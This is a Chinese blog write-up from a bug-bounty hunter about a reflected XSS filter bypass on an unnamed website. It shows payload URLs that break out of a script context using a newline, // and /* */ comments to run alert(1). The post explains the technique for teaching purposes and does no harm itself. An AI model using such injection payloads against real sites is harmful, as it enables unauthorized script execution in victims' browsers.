有意思的xss之换行+注释bypass


layout: post
title: 1. 有意思的xss之换行+注释bypass
category: SRC
tags: SRC
keywords: SRC,XSS

前言

挖了一段时间的漏洞了,挖的多了反而会增加一些自己的思考,打算记录一些觉得实战过程中也是很有意思的洞,可能放到别的地方也不值得一提,但是实际挖洞中也是扫描器逻辑没办法扫描出来的,于是会有一系列文章,篇幅较短,为大家和自己消遣专用。
该篇记录为记录实际的src过程第1篇小文章,内容为某网站的xssBypass。

扫描弱点

在扫描的过程中发现,存在这样的url对参数的双引号没有过滤。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S6ykoqhp-1610897569753)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/src1.png)]
手动查看,发现存在四个参数,均没有对双引号进行过滤,仅仅对<>进行了实体编码:例如:200"&lt;
四个参数如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-n8cw6EId-1610897569756)(https://raw.githubusercontent.com/hwhxy/hwhxy.github.io/master/images/src2.png)]

bypass分析

但是这里注意到后面两个参数是存在于script中的,也就是说我们不需要<>去再次构造标签执行语句,而是直接让他执行到我们的语句就可以了。
所以这里我一开始这样构造。
http://xxxxxx?retCode=200});alert(1);//&retMsg=null&nv=0&crossDomain=null&gotoUrl=http%3A%2F%2Fwww.abiz.com%2Freg%2Fstep1%2Fsso%3FgotoUrl%3Dnull%26retMsg%3D1&callback=parent.SSO.instances[0].callback
得到的html为:
没有运行,本地测试也不行,看来语句没有走下去。这里说明他的上一句出错了。

那把这一句也注释掉下一行再重新执行js不就行了。于是我的url变成了:
http://xxxxxx?retCode=200});%0aalert(1);//&retMsg=null&nv=0&crossDomain=null&gotoUrl=http%3A%2F%2Fwww.abiz.com%2Freg%2Fstep1%2Fsso%3FgotoUrl%3Dnull%26retMsg%3D1&callback=//parent.SSO.instances[0].callback
函数名变成了__parent.SSO.instances[0].callback,也就是说把//转义了。
思路行不通开始关注别的参数。这里我注意到crossDomain同样也在srcipt中,如果我把他后面的全部注释掉呢?这里就想到要用/**/,于是我的paload变成了:
http://xxxxxx?retCode=*/%0aalert(1);//&retMsg=null&nv=0&crossDomain=1==1)/*&gotoUrl=http%3A%2F%2Fwww.abiz.com%2Freg%2Fstep1%2Fsso%3FgotoUrl%3Dnull%26retMsg%3D1&callback=//parent.SSO.instances[0].callback
ok成功bypass

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值